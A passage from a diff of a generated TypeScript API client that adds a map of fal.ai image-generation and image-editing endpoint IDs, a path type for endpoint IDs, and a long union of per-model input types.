'fal-ai/recraft/upscale/crisp': 'fal-ai/recraft/upscale/crisp', + 'fal-ai/recraft/v3/image-to-image': 'fal-ai/recraft/v3/image-to-image', + 'fal-ai/recraft/v3/text-to-image': 'fal-ai/recraft/v3/text-to-image', + 'fal-ai/recraft/v4.1/pro/text-to-image': + 'fal-ai/recraft/v4.1/pro/text-to-image', + 'fal-ai/recraft/v4.1/pro/text-to-vector': + 'fal-ai/recraft/v4.1/pro/text-to-vector', + 'fal-ai/recraft/v4.1/text-to-image': 'fal-ai/recraft/v4.1/text-to-image', + 'fal-ai/recraft/v4.1/text-to-vector': 'fal-ai/recraft/v4.1/text-to-vector', + 'fal-ai/recraft/v4.1/utility/pro/text-to-image': + 'fal-ai/recraft/v4.1/utility/pro/text-to-image', + 'fal-ai/recraft/v4.1/utility/text-to-image': + 'fal-ai/recraft/v4.1/utility/text-to-image', + 'fal-ai/recraft/v4/pro/text-to-image': 'fal-ai/recraft/v4/pro/text-to-image', + 'fal-ai/recraft/v4/pro/text-to-vector': + 'fal-ai/recraft/v4/pro/text-to-vector', + 'fal-ai/recraft/v4/text-to-image': 'fal-ai/recraft/v4/text-to-image', + 'fal-ai/recraft/v4/text-to-vector': 'fal-ai/recraft/v4/text-to-vector', + 'fal-ai/recraft/vectorize': 'fal-ai/recraft/vectorize', + 'fal-ai/retoucher': 'fal-ai/retoucher', + 'fal-ai/rife': 'fal-ai/rife', + 'fal-ai/sam-3-1/image': 'fal-ai/sam-3-1/image', + 'fal-ai/sam-3-1/image-rle': 'fal-ai/sam-3-1/image-rle', + 'fal-ai/sam-3/image': 'fal-ai/sam-3/image', + 'fal-ai/sam-3/image-rle': 'fal-ai/sam-3/image-rle', + 'fal-ai/sam2/auto-segment': 'fal-ai/sam2/auto-segment', + 'fal-ai/sam2/image': 'fal-ai/sam2/image', + 'fal-ai/sana': 'fal-ai/sana', + 'fal-ai/sana/sprint': 'fal-ai/sana/sprint', + 'fal-ai/sana/v1.5/1.6b': 'fal-ai/sana/v1.5/1.6b', + 'fal-ai/sana/v1.5/4.8b': 'fal-ai/sana/v1.5/4.8b', + 'fal-ai/sdxl-controlnet-union': 'fal-ai/sdxl-controlnet-union', + 'fal-ai/sdxl-controlnet-union/image-to-image': + 'fal-ai/sdxl-controlnet-union/image-to-image', + 'fal-ai/sdxl-controlnet-union/inpainting': + 'fal-ai/sdxl-controlnet-union/inpainting', + 'fal-ai/seedvr/upscale/image': 'fal-ai/seedvr/upscale/image', + 'fal-ai/seedvr/upscale/image/seamless': + 'fal-ai/seedvr/upscale/image/seamless', + 'fal-ai/smart-resize': 'fal-ai/smart-resize', + 'fal-ai/stable-diffusion-v15': 'fal-ai/stable-diffusion-v15', + 'fal-ai/stable-diffusion-v3-medium': 'fal-ai/stable-diffusion-v3-medium', + 'fal-ai/stable-diffusion-v3-medium/image-to-image': + 'fal-ai/stable-diffusion-v3-medium/image-to-image', + 'fal-ai/stable-diffusion-v35-large': 'fal-ai/stable-diffusion-v35-large', + 'fal-ai/stable-diffusion-v35-medium': 'fal-ai/stable-diffusion-v35-medium', + 'fal-ai/stepx-edit2': 'fal-ai/stepx-edit2', + 'fal-ai/telestyle-v2': 'fal-ai/telestyle-v2', + 'fal-ai/uso': 'fal-ai/uso', + 'fal-ai/vidu/q2/reference-to-image': 'fal-ai/vidu/q2/reference-to-image', + 'fal-ai/vidu/q2/text-to-image': 'fal-ai/vidu/q2/text-to-image', + 'fal-ai/vidu/reference-to-image': 'fal-ai/vidu/reference-to-image', + 'fal-ai/wan-25-preview/image-to-image': + 'fal-ai/wan-25-preview/image-to-image', + 'fal-ai/wan-25-preview/text-to-image': 'fal-ai/wan-25-preview/text-to-image', + 'fal-ai/wan/v2.2-5b/text-to-image': 'fal-ai/wan/v2.2-5b/text-to-image', + 'fal-ai/wan/v2.2-a14b/image-to-image': 'fal-ai/wan/v2.2-a14b/image-to-image', + 'fal-ai/wan/v2.2-a14b/text-to-image': 'fal-ai/wan/v2.2-a14b/text-to-image', + 'fal-ai/wan/v2.2-a14b/text-to-image/lora': + 'fal-ai/wan/v2.2-a14b/text-to-image/lora', + 'fal-ai/wan/v2.7/edit': 'fal-ai/wan/v2.7/edit', + 'fal-ai/wan/v2.7/pro/edit': 'fal-ai/wan/v2.7/pro/edit', + 'fal-ai/wan/v2.7/pro/text-to-image': 'fal-ai/wan/v2.7/pro/text-to-image', + 'fal-ai/wan/v2.7/text-to-image': 'fal-ai/wan/v2.7/text-to-image', + 'fal-ai/workflow-utilities/extract-nth-frame': + 'fal-ai/workflow-utilities/extract-nth-frame', + 'fal-ai/z-image/base': 'fal-ai/z-image/base', + 'fal-ai/z-image/base/lora': 'fal-ai/z-image/base/lora', + 'fal-ai/z-image/turbo': 'fal-ai/z-image/turbo', + 'fal-ai/z-image/turbo/controlnet': 'fal-ai/z-image/turbo/controlnet', + 'fal-ai/z-image/turbo/controlnet/lora': + 'fal-ai/z-image/turbo/controlnet/lora', + 'fal-ai/z-image/turbo/image-to-image': 'fal-ai/z-image/turbo/image-to-image', + 'fal-ai/z-image/turbo/image-to-image/lora': + 'fal-ai/z-image/turbo/image-to-image/lora', + 'fal-ai/z-image/turbo/inpaint': 'fal-ai/z-image/turbo/inpaint', + 'fal-ai/z-image/turbo/inpaint/lora': 'fal-ai/z-image/turbo/inpaint/lora', + 'fal-ai/z-image/turbo/lora': 'fal-ai/z-image/turbo/lora', + 'fal-ai/z-image/turbo/tiling': 'fal-ai/z-image/turbo/tiling', + 'fal-ai/z-image/turbo/tiling/lora': 'fal-ai/z-image/turbo/tiling/lora', + 'google/nano-banana-2-lite': 'google/nano-banana-2-lite', + 'google/nano-banana-2.1': 'google/nano-banana-2.1', + 'google/nano-banana-2.1/edit': 'google/nano-banana-2.1/edit', + 'google/nano-banana-lite': 'google/nano-banana-lite', + 'google/nano-banana-lite/edit': 'google/nano-banana-lite/edit', + 'google/virtual-try-on': 'google/virtual-try-on', + 'hitem3d/hi3d/image-to-relief': 'hitem3d/hi3d/image-to-relief', + 'ideogram/v4': 'ideogram/v4', + 'ideogram/v4.5': 'ideogram/v4.5', + 'ideogram/v4.5/edit': 'ideogram/v4.5/edit', + 'ideogram/v4/fast': 'ideogram/v4/fast', + 'ideogram/v4/image-to-image': 'ideogram/v4/image-to-image', + 'ideogram/v4/image-to-image/lora': 'ideogram/v4/image-to-image/lora', + 'ideogram/v4/instant': 'ideogram/v4/instant', + 'ideogram/v4/lora': 'ideogram/v4/lora', + 'ideogram/v4/tiling': 'ideogram/v4/tiling', + 'ideogram/v4/tiling/lora': 'ideogram/v4/tiling/lora', + 'ideogram/vector/image-to-vector': 'ideogram/vector/image-to-vector', + 'ideogram/vector/text-to-vector': 'ideogram/vector/text-to-vector', + 'krea/v2/large/text-to-image': 'krea/v2/large/text-to-image', + 'krea/v2/medium/text-to-image': 'krea/v2/medium/text-to-image', + 'krea/v2/medium/turbo/text-to-image': 'krea/v2/medium/turbo/text-to-image', + 'krea/v3/edit': 'krea/v3/edit', + 'krea/v3/realtime': 'krea/v3/realtime', + 'krea/v3/text-to-image': 'krea/v3/text-to-image', + 'luma/agent/uni-1/v1/edit': 'luma/agent/uni-1/v1/edit', + 'luma/agent/uni-1/v1/max': 'luma/agent/uni-1/v1/max', + 'luma/agent/uni-1/v1/max/edit': 'luma/agent/uni-1/v1/max/edit', + 'luma/agent/uni-1/v1/text-to-image': 'luma/agent/uni-1/v1/text-to-image', + 'meta/muse-image/edit': 'meta/muse-image/edit', + 'meta/muse-image/text-to-image': 'meta/muse-image/text-to-image', + 'microsoft/mai-image-2.5': 'microsoft/mai-image-2.5', + 'microsoft/mai-image-2.5-pro': 'microsoft/mai-image-2.5-pro', + 'microsoft/mai-image-2.5-pro/edit': 'microsoft/mai-image-2.5-pro/edit', + 'microsoft/mai-image-2.5/edit': 'microsoft/mai-image-2.5/edit', + 'nvidia/cosmos-3-super/text-to-image': 'nvidia/cosmos-3-super/text-to-image', + 'openai/gpt-image-2': 'openai/gpt-image-2', + 'openai/gpt-image-2.5/flare/edit': 'openai/gpt-image-2.5/flare/edit', + 'openai/gpt-image-2.5/flare/text-to-image': + 'openai/gpt-image-2.5/flare/text-to-image', + 'openai/gpt-image-2.5/sunburst/edit': 'openai/gpt-image-2.5/sunburst/edit', + 'openai/gpt-image-2.5/sunburst/text-to-image': + 'openai/gpt-image-2.5/sunburst/text-to-image', + 'openai/gpt-image-2.6/flare/edit': 'openai/gpt-image-2.6/flare/edit', + 'openai/gpt-image-2.6/flare/text-to-image': + 'openai/gpt-image-2.6/flare/text-to-image', + 'openai/gpt-image-2.6/sunburst/edit': 'openai/gpt-image-2.6/sunburst/edit', + 'openai/gpt-image-2.6/sunburst/text-to-image': + 'openai/gpt-image-2.6/sunburst/text-to-image', + 'openai/gpt-image-2/edit': 'openai/gpt-image-2/edit', + 'pixelcut/background-removal': 'pixelcut/background-removal', + 'pixelcut/product-photo': 'pixelcut/product-photo', + 'recraft/v4.1/flash/text-to-image': 'recraft/v4.1/flash/text-to-image', + 'recraft/v4/style/pro/text-to-image': 'recraft/v4/style/pro/text-to-image', + 'recraft/v4/style/pro/text-to-vector': 'recraft/v4/style/pro/text-to-vector', + 'recraft/v4/style/text-to-image': 'recraft/v4/style/text-to-image', + 'recraft/v4/style/text-to-vector': 'recraft/v4/style/text-to-vector', + 'rundiffusion-fal/juggernaut-flux/base': + 'rundiffusion-fal/juggernaut-flux/base', + 'rundiffusion-fal/juggernaut-flux/base/image-to-image': + 'rundiffusion-fal/juggernaut-flux/base/image-to-image', + 'rundiffusion-fal/juggernaut-flux/lightning': + 'rundiffusion-fal/juggernaut-flux/lightning', + 'rundiffusion-fal/juggernaut-flux/pro': + 'rundiffusion-fal/juggernaut-flux/pro', + 'rundiffusion-fal/juggernaut-flux/pro/image-to-image': + 'rundiffusion-fal/juggernaut-flux/pro/image-to-image', + 'rundiffusion-fal/rundiffusion-photo-flux': + 'rundiffusion-fal/rundiffusion-photo-flux', + 'smoretalk-ai/rembg-enhance': 'smoretalk-ai/rembg-enhance', + 'topaz/adjust/image': 'topaz/adjust/image', + 'topaz/denoise/image': 'topaz/denoise/image', + 'topaz/restore/image': 'topaz/restore/image', + 'topaz/sharpen/image': 'topaz/sharpen/image', + 'topaz/upscale/image/creative': 'topaz/upscale/image/creative', + 'topaz/upscale/image/generative': 'topaz/upscale/image/generative', + 'topaz/upscale/image/precision': 'topaz/upscale/image/precision', + 'topaz/upscale/image/transparent': 'topaz/upscale/image/transparent', + 'wan/v2.6/image-to-image': 'wan/v2.6/image-to-image', + 'wan/v2.6/text-to-image': 'wan/v2.6/text-to-image', + 'xai/grok-imagine-image': 'xai/grok-imagine-image', + 'xai/grok-imagine-image/edit': 'xai/grok-imagine-image/edit', + 'xai/grok-imagine-image/quality/edit': 'xai/grok-imagine-image/quality/edit', + 'xai/grok-imagine-image/quality/text-to-image': + 'xai/grok-imagine-image/quality/text-to-image', + 'xai/grok-imagine-image/v2.0/edit': 'xai/grok-imagine-image/v2.0/edit', + 'xai/grok-imagine-image/v2.0/text-to-image': + 'xai/grok-imagine-image/v2.0/text-to-image', +} as const + +export type FalPostEndpointIdEndpointIdKey = + (typeof falPostEndpointIdEndpointId)[keyof typeof falPostEndpointIdEndpointId] + +export type FalPostEndpointIdPath = { + /** + * @description Model raw id. Slashes are path segments: fal-ai/flux/dev is https://queue.fal.run/fal-ai/flux/dev, not fal-ai%2Fflux%2Fdev. x-modelschemas-encode is raw — do not percent-encode this value. + * @type string + */ + endpoint_id: FalPostEndpointIdEndpointIdKey +} + +export type FalPostEndpointIdStatus200 = unknown + +export type FalPostEndpointIdBody = + | InputAlibabaQwenImage3Edit + | InputAlibabaQwenImage3TextToImage + | InputBlackforestlabsFlux3EditImage + | InputBlackforestlabsFlux3KleinBaseEditImageLora + | InputBlackforestlabsFlux3KleinBaseTextToImageLora + | InputBlackforestlabsFlux3KleinEditImage + | InputBlackforestlabsFlux3KleinEditImageLora + | InputBlackforestlabsFlux3KleinTextToImage + | InputBlackforestlabsFlux3KleinTextToImageLora + | InputBlackforestlabsFlux3TextToImage + | InputBriaEmbedProduct + | InputBriaExtractObject + | InputBriaFibo2Edit + | InputBriaFibo2Generate + | InputBriaFiboBbqPreviewGenerate + | InputBriaFiboEdit15Edit + | InputBriaFiboEdit15Expand + | InputBriaFiboEdit15ProductHolding + | InputBriaFiboEdit15VirtualTryOn + | InputBriaFiboEditAddObjectByText + | InputBriaFiboEditBlend + | InputBriaFiboEditColorize + | InputBriaFiboEditEdit + | InputBriaFiboEditEraseByText + | InputBriaFiboEditRelight + | InputBriaFiboEditReplaceObjectByText + | InputBriaFiboEditReseason + | InputBriaFiboEditRestore + | InputBriaFiboEditRestyle + | InputBriaFiboEditRewriteText + | InputBriaFiboEditSketchToColoredImage + | InputBriaFiboGen15TextToImage + | InputBriaFiboLiteGenerate + | InputBriaFiboGenerate + | InputBriaGenfillV2 + | InputBriaGuidedRemoveBackground + | InputBriaIncreaseResolution + | InputBriaProductDimensions + | InputBriaReplaceBackground + | InputBriaUpscaleCreative + | InputBytedanceSeedreamV5FlashEdit + | InputBytedanceSeedreamV5FlashLayerize + | InputBytedanceSeedreamV5FlashTextToImage + | InputBytedanceSeedreamV5LiteEdit + | InputBytedanceSeedreamV5LiteTextToImage + | InputBytedanceSeedreamV5ProEdit + | InputBytedanceSeedreamV5ProLayerize + | InputBytedanceSeedreamV5ProTextToImage + | InputClarityaiCrystalUpscaler + | InputFalAiAuraSr + | InputFalAiBagel + | InputFalAiBagelEdit + | InputFalAiBenV2Image + | InputFalAiBirefnet + | InputFalAiBirefnetV2 + | InputFalAiBooguImage + | InputFalAiBooguImageEdit + | InputFalAiBriaBackgroundRemove + | InputFalAiBriaBackgroundReplace + | InputFalAiBriaEraser + | InputFalAiBriaExpand + | InputFalAiBriaGenfill + | InputFalAiBriaProductShot + | InputFalAiBriaReimagine + | InputFalAiBriaTextToImageBase + | InputFalAiBriaTextToImageFast + | InputFalAiBriaTextToImageHd + | InputFalAiBytedanceSeedreamV45Edit + | InputFalAiBytedanceSeedreamV45TextToImage + | InputFalAiBytedanceSeedreamV4Edit + | InputFalAiBytedanceSeedreamV4TextToImage + | InputFalAiCatVton + | InputFalAiClarityUpscaler + | InputFalAiCodeformer + | InputFalAiControlLight + | InputFalAiCreativeUpscaler + | InputFalAiDdcolor + | InputFalAiDwpose + | InputFalAiEmu35ImageEditImage + | InputFalAiEmu35ImageTextToImage + | InputFalAiErnieImage + | InputFalAiErnieImageLora + | InputFalAiErnieImageLoraTurbo + | InputFalAiErnieImageTurbo + | InputFalAiEsrgan + | InputFalAiEvfSam + | InputFalAiFashnTryonV15 + | InputFalAiFashnTryonV16 + | InputFalAiFastLcmDiffusion + | InputFalAiFastLcmDiffusionImageToImage + | InputFalAiFastLcmDiffusionInpainting + | InputFalAiFastLightningSdxl + | InputFalAiFastLightningSdxlImageToImage + | InputFalAiFastLightningSdxlInpainting + | InputFalAiFastSdxl + | InputFalAiFastSdxlImageToImage + | InputFalAiFastSdxlInpainting + | InputFalAiFeynobg + | InputFalAiFfmpegApiExtractFrame + | InputFalAiFilm + | InputFalAiFinegrainEraser + | InputFalAiFinegrainEraserBbox + | InputFalAiFinegrainEraserMask + | InputFalAiFireredImageEditV11 + | InputFalAiFlorence2LargeCaptionToPhraseGrounding + | InputFalAiFlorence2LargeDenseRegionCaption + | InputFalAiFlorence2LargeObjectDetection + | InputFalAiFlorence2LargeOcrWithRegion + | InputFalAiFlorence2LargeOpenVocabularyDetection + | InputFalAiFlorence2LargeReferringExpressionSegmentation + | InputFalAiFlorence2LargeRegionProposal + | InputFalAiFlorence2LargeRegionToSegmentation + | InputFalAiFlux1Dev + | InputFalAiFlux1DevImageToImage + | InputFalAiFlux1DevRedux + | InputFalAiFlux1Krea + | InputFalAiFlux1KreaImageToImage + | InputFalAiFlux1KreaRedux + | InputFalAiFlux1Schnell + | InputFalAiFlux1SchnellRedux + | InputFalAiFlux1Srpo + | InputFalAiFlux1SrpoImageToImage + | InputFalAiFlux2 + | InputFalAiFlux2Flex + | InputFalAiFlux2FlexEdit + | InputFalAiFlux2LoraGalleryAddBackground + | InputFalAiFlux2LoraGalleryApartmentStaging + | InputFalAiFlux2LoraGalleryBallpointPenSketch + | InputFalAiFlux2LoraGalleryDigitalComicArt + | InputFalAiFlux2LoraGalleryFaceToFullPortrait + | InputFalAiFlux2LoraGalleryHdrStyle + | InputFalAiFlux2LoraGalleryMultipleAngles + | InputFalAiFlux2LoraGalleryRealism + | InputFalAiFlux2LoraGallerySatelliteViewStyle + | InputFalAiFlux2LoraGallerySepiaVintage + | InputFalAiFlux2LoraGalleryVirtualTryon + | InputFalAiFlux2Max + | InputFalAiFlux2MaxEdit + | InputFalAiFlux2Pro + | InputFalAiFlux2ProEdit + | InputFalAiFlux2ProOutpaint + | InputFalAiFlux2Edit + | InputFalAiFlux2Flash + | InputFalAiFlux2FlashEdit + | InputFalAiFlux2Klein4B + | InputFalAiFlux2Klein4BBase + | InputFalAiFlux2Klein4BBaseEdit + | InputFalAiFlux2Klein4BBaseEditLora + | InputFalAiFlux2Klein4BBaseLora + | InputFalAiFlux2Klein4BEdit + | InputFalAiFlux2Klein4BEditLora + | InputFalAiFlux2Klein4BLora + | InputFalAiFlux2Klein9B + | InputFalAiFlux2Klein9BBase + | InputFalAiFlux2Klein9BBaseEdit + | InputFalAiFlux2Klein9BBaseEditLora + | InputFalAiFlux2Klein9BBaseLora + | InputFalAiFlux2Klein9BEdit + | InputFalAiFlux2Klein9BEditLora + | InputFalAiFlux2Klein9BLora + | InputFalAiFlux2KleinRealtime + | InputFalAiFlux2Lora + | InputFalAiFlux2LoraEdit + | InputFalAiFlux2Turbo + | InputFalAiFlux2TurboEdit + | InputFalAiFluxGeneral + | InputFalAiFluxGeneralDifferentialDiffusion + | InputFalAiFluxGeneralImageToImage + | InputFalAiFluxGeneralInpainting + | InputFalAiFluxGeneralRfInversion + | InputFalAiFluxKontextLora + | InputFalAiFluxKontextLoraInpaint + | InputFalAiFluxKontextLoraTextToImage + | InputFalAiFluxKontextDev + | InputFalAiFluxKreaLora + | InputFalAiFluxKreaLoraImageToImage + | InputFalAiFluxKreaLoraInpainting + | InputFalAiFluxKreaLoraStream + | InputFalAiFluxLora + | InputFalAiFluxLoraCanny + | InputFalAiFluxLoraDepth + | InputFalAiFluxLoraFill + | InputFalAiFluxLoraImageToImage + | InputFalAiFluxLoraInpainting + | InputFalAiFluxLoraStream + | InputFalAiFluxProKontext + | InputFalAiFluxProKontextMax + | InputFalAiFluxProKontextMaxMulti + | InputFalAiFluxProKontextMaxTextToImage + | InputFalAiFluxProKontextMulti + | InputFalAiFluxProKontextTextToImage + | InputFalAiFluxProV11 + | InputFalAiFluxProV11Ultra + | InputFalAiFluxProV11UltraFinetuned + | InputFalAiFluxProV11UltraRedux + | InputFalAiFluxProV11Redux + | InputFalAiFluxProV1Erase + | InputFalAiFluxProV1Fill + | InputFalAiFluxProV1FillFinetuned + | InputFalAiFluxProV1Vto + | InputFalAiFluxPulid + | InputFalAiFluxVisionUpscaler + | InputFalAiFluxDev + | InputFalAiFluxDevImageToImage + | InputFalAiFluxDevRedux + | InputFalAiFluxKrea + | InputFalAiFluxKreaImageToImage + | InputFalAiFluxKreaRedux + | InputFalAiFluxSchnell + | InputFalAiFluxSchnellRedux + | InputFalAiFluxSrpo + | InputFalAiFluxSrpoImageToImage + | InputFalAiFooocus + | InputFalAiFooocusImagePrompt + | InputFalAiFooocusInpaint + | InputFalAiFooocusUpscaleOrVary + | InputFalAiGemini25FlashImage + | InputFalAiGemini25FlashImageEdit + | InputFalAiGemini3ProImagePreview + | InputFalAiGemini3ProImagePreviewEdit + | InputFalAiGemini31FlashImagePreview + | InputFalAiGemini31FlashImagePreviewEdit + | InputFalAiGlmImage + | InputFalAiGlmImageImageToImage + | InputFalAiGptImage1Mini + | InputFalAiGptImage1MiniEdit + | InputFalAiGptImage15 + | InputFalAiGptImage15Edit + | InputFalAiHidreamI1Fast + | InputFalAiHidreamI1Full + | InputFalAiHidreamI1FullImageToImage + | InputFalAiHidreamO1Image + | InputFalAiHidreamO1ImageDev + | InputFalAiHidreamO1ImageDevEdit + | InputFalAiHidreamO1ImageEdit + | InputFalAiHunyuanWorld + | InputFalAiHunyuanImageV21TextToImage + | InputFalAiHunyuanImageV3InstructEdit + | InputFalAiHunyuanImageV3InstructTextToImage + | InputFalAiHunyuanImageV3TextToImage + | InputFalAiHyWuEdit + | InputFalAiIclightV2 + | InputFalAiIdeogramCharacter + | InputFalAiIdeogramCharacterEdit + | InputFalAiIdeogramCharacterRemix + | InputFalAiIdeogramObjectRemoval + | InputFalAiIdeogramRemoveBackground + | InputFalAiIdeogramUpscale + | InputFalAiIdeogramV2 + | InputFalAiIdeogramV2Edit + | InputFalAiIdeogramV2Remix + | InputFalAiIdeogramV2Turbo + | InputFalAiIdeogramV2TurboEdit + | InputFalAiIdeogramV2TurboRemix + | InputFalAiIdeogramV2A + | InputFalAiIdeogramV2ARemix + | InputFalAiIdeogramV2ATurbo + | InputFalAiIdeogramV2ATurboRemix + | InputFalAiIdeogramV3 + | InputFalAiIdeogramV3Edit + | InputFalAiIdeogramV3GenerateTransparent + | InputFalAiIdeogramV3LayerizeText + | InputFalAiIdeogramV3Reframe + | InputFalAiIdeogramV3Remix + | InputFalAiIdeogramV3ReplaceBackground + | InputFalAiIllusionDiffusion + | InputFalAiImageAppsV2AgeModify + | InputFalAiImageAppsV2CityTeleport + | InputFalAiImageAppsV2ExpressionChange + | InputFalAiImageAppsV2HairChange + | InputFalAiImageAppsV2HeadshotPhoto + | InputFalAiImageAppsV2MakeupApplication + | InputFalAiImageAppsV2ObjectRemoval + | InputFalAiImageAppsV2Outpaint + | InputFalAiImageAppsV2Perspective + | InputFalAiImageAppsV2PhotoRestoration + | InputFalAiImageAppsV2PhotographyEffects + | InputFalAiImageAppsV2PortraitEnhance + | InputFalAiImageAppsV2ProductHolding + | InputFalAiImageAppsV2ProductPhotography + | InputFalAiImageAppsV2Relighting + | InputFalAiImageAppsV2StyleTransfer + | InputFalAiImageAppsV2TextureTransform + | InputFalAiImageAppsV2VirtualTryOn + | InputFalAiImageEditingAgeProgression + | InputFalAiImageEditingBabyVersion + | InputFalAiImageEditingBackgroundChange + | InputFalAiImageEditingBroccoliHaircut + | InputFalAiImageEditingCartoonify + | InputFalAiImageEditingColorCorrection + | InputFalAiImageEditingExpressionChange + | InputFalAiImageEditingFaceEnhancement + | InputFalAiImageEditingHairChange + | InputFalAiImageEditingObjectRemoval + | InputFalAiImageEditingPhotoRestoration + | InputFalAiImageEditingPlushieStyle + | InputFalAiImageEditingProfessionalPhoto + | InputFalAiImageEditingRealism + | InputFalAiImageEditingReframe + | InputFalAiImageEditingRetouch + | InputFalAiImageEditingSceneComposition + | InputFalAiImageEditingStyleTransfer + | InputFalAiImageEditingTextRemoval + | InputFalAiImageEditingTimeOfDay + | InputFalAiImageEditingWeatherEffect + | InputFalAiImageEditingWojakStyle + | InputFalAiImageEditingYoutubeThumbnails + | InputFalAiImagePreprocessorsDepthAnythingV2 + | InputFalAiImagePreprocessorsHed + | InputFalAiImagePreprocessorsLineart + | InputFalAiImagePreprocessorsMidas + | InputFalAiImagePreprocessorsMlsd + | InputFalAiImagePreprocessorsPidi + | InputFalAiImagePreprocessorsSam + | InputFalAiImagePreprocessorsScribble + | InputFalAiImagePreprocessorsTeed + | InputFalAiImagePreprocessorsZoe + | InputFalAiImage2Pixel + | InputFalAiImage2Svg + | InputFalAiImageutilsDepth + | InputFalAiImageutilsMarigoldDepth + | InputFalAiImageutilsRembg + | InputFalAiInstantCharacter + | InputFalAiIpAdapterFaceId + | InputFalAiKlingImageO1 + | InputFalAiKlingImageO3ImageToImage + | InputFalAiKlingImageO3TextToImage + | InputFalAiKlingImageV3ImageToImage + | InputFalAiKlingImageV3TextToImage + | InputFalAiKolors + | InputFalAiKolorsImageToImage + | InputFalAiKrea2Turbo + | InputFalAiKrea2TurboLora + | InputFalAiKrea2TurboStyle + | InputFalAiLeffaPoseTransfer + | InputFalAiLeffaVirtualTryon + | InputFalAiLivePortraitImage + | InputFalAiLongcatImage + | InputFalAiLongcatImageEdit + | InputFalAiLora + | InputFalAiLoraImageToImage + | InputFalAiLoraInpaint + | InputFalAiLumaPhoton + | InputFalAiLumaPhotonFlash + | InputFalAiLumaPhotonFlashModify + | InputFalAiLumaPhotonFlashReframe + | InputFalAiLumaPhotonModify + | InputFalAiLumaPhotonReframe + | InputFalAiLuminaImageV2 + | InputFalAiMarigoldV2 + | InputFalAiMinimaxImage01 + | InputFalAiMinimaxImage01SubjectReference + | InputFalAiMoondreamNextDetection + | InputFalAiMoondream3PreviewSegment + | InputFalAiMossImage + | InputFalAiNafnetDeblur + | InputFalAiNafnetDenoise + | InputFalAiNanoBanana + | InputFalAiNanoBanana2 + | InputFalAiNanoBanana2Edit + | InputFalAiNanoBananaPro + | InputFalAiNanoBananaProEdit + | InputFalAiNanoBananaEdit + | InputFalAiNucleusImage + | InputFalAiObjectRemoval + | InputFalAiObjectRemovalBbox + | InputFalAiObjectRemovalMask + | InputFalAiOmnigenV2 + | InputFalAiPatina + | InputFalAiPatinaMaterial + | InputFalAiPatinaMaterialExtract + | InputFalAiPhota + | InputFalAiPhotaEdit + | InputFalAiPhotaEnhance + | InputFalAiPostProcessing + | InputFalAiPostProcessingBlur + | InputFalAiPostProcessingChromaticAberration + | InputFalAiPostProcessingColorCorrection + | InputFalAiPostProcessingColorTint + | InputFalAiPostProcessingDesaturate + | InputFalAiPostProcessingDissolve + | InputFalAiPostProcessingDodgeBurn + | InputFalAiPostProcessingGrain + | InputFalAiPostProcessingParabolize + | InputFalAiPostProcessingSharpen + | InputFalAiPostProcessingSolarize + | InputFalAiPostProcessingVignette + | InputFalAiQwenImage + | InputFalAiQwenImage2512 + | InputFalAiQwenImage2512Lora + | InputFalAiQwenImageEdit2509 + | InputFalAiQwenImageEdit2509Lora + | InputFalAiQwenImageEdit2509LoraGalleryAddBackground + | InputFalAiQwenImageEdit2509LoraGalleryFaceToFullPortrait + | InputFalAiQwenImageEdit2509LoraGalleryGroupPhoto + | InputFalAiQwenImageEdit2509LoraGalleryIntegrateProduct + | InputFalAiQwenImageEdit2509LoraGalleryLightingRestoration + | InputFalAiQwenImageEdit2509LoraGalleryMultipleAngles + | InputFalAiQwenImageEdit2509LoraGalleryNextScene + | InputFalAiQwenImageEdit2509LoraGalleryRemoveElement + | InputFalAiQwenImageEdit2509LoraGalleryRemoveLighting + | InputFalAiQwenImageEdit2509LoraGalleryShirtDesign + | InputFalAiQwenImageEdit2511 + | InputFalAiQwenImageEdit2511MultipleAngles + | InputFalAiQwenImageEdit2511Lora + | InputFalAiQwenImageEditLora + | InputFalAiQwenImageEditPlus + | InputFalAiQwenImageEditPlusLora + | InputFalAiQwenImageEditPlusLoraGalleryAddBackground + | InputFalAiQwenImageEditPlusLoraGalleryFaceToFullPortrait + | InputFalAiQwenImageEditPlusLoraGalleryGroupPhoto + | InputFalAiQwenImageEditPlusLoraGalleryIntegrateProduct + | InputFalAiQwenImageEditPlusLoraGalleryLightingRestoration + | InputFalAiQwenImageEditPlusLoraGalleryMultipleAngles + | InputFalAiQwenImageEditPlusLoraGalleryNextScene + | InputFalAiQwenImageEditPlusLoraGalleryRemoveElement + | InputFalAiQwenImageEditPlusLoraGalleryRemoveLighting + | InputFalAiQwenImageEditPlusLoraGalleryShirtDesign + | InputFalAiQwenImageEditImageToImage + | InputFalAiQwenImageEditInpaint + | InputFalAiQwenImageLayered + | InputFalAiQwenImageLayeredLora + | InputFalAiQwenImageImageToImage + | InputFalAiRecraft20B + | InputFalAiRecraftUpscaleCreative + | InputFalAiRecraftUpscaleCrisp + | InputFalAiRecraftV3ImageToImage + | InputFalAiRecraftV3TextToImage + | InputFalAiRecraftV41ProTextToImage + | InputFalAiRecraftV41ProTextToVector + | InputFalAiRecraftV41TextToImage + | InputFalAiRecraftV41TextToVector + | InputFalAiRecraftV41UtilityProTextToImage + | InputFalAiRecraftV41UtilityTextToImage + | InputFalAiRecraftV4ProTextToImage + | InputFalAiRecraftV4ProTextToVector + | InputFalAiRecraftV4TextToImage + | InputFalAiRecraftV4TextToVector + | InputFalAiRecraftVectorize + | InputFalAiRetoucher + | InputFalAiRife + | InputFalAiSam31Image + | InputFalAiSam31ImageRle + | InputFalAiSam3Image + | InputFalAiSam3ImageRle + | InputFalAiSam2AutoSegment + | InputFalAiSam2Image + | InputFalAiSana + | InputFalAiSanaSprint + | InputFalAiSanaV1516B + | InputFalAiSanaV1548B + | InputFalAiSdxlControlnetUnion + | InputFalAiSdxlControlnetUnionImageToImage + | InputFalAiSdxlControlnetUnionInpainting + | InputFalAiSeedvrUpscaleImage + | InputFalAiSeedvrUpscaleImageSeamless + | InputFalAiSmartResize + | InputFalAiStableDiffusionV15 + | InputFalAiStableDiffusionV3Medium + | InputFalAiStableDiffusionV3MediumImageToImage + | InputFalAiStableDiffusionV35Large + | InputFalAiStableDiffusionV35Medium + | InputFalAiStepxEdit2 + | InputFalAiTelestyleV2 + | InputFalAiUso + | InputFalAiViduQ2ReferenceToImage + | InputFalAiViduQ2TextToImage + | InputFalAiViduReferenceToImage + | InputFalAiWan25PreviewImageToImage + | InputFalAiWan25PreviewTextToImage + | InputFalAiWanV225BTextToImage + | InputFalAiWanV22A14BImageToImage + | InputFalAiWanV22A14BTextToImage + | InputFalAiWanV22A14BTextToImageLora + | InputFalAiWanV27Edit + | InputFalAiWanV27ProEdit + | InputFalAiWanV27ProTextToImage + | InputFalAiWanV27TextToImage + | 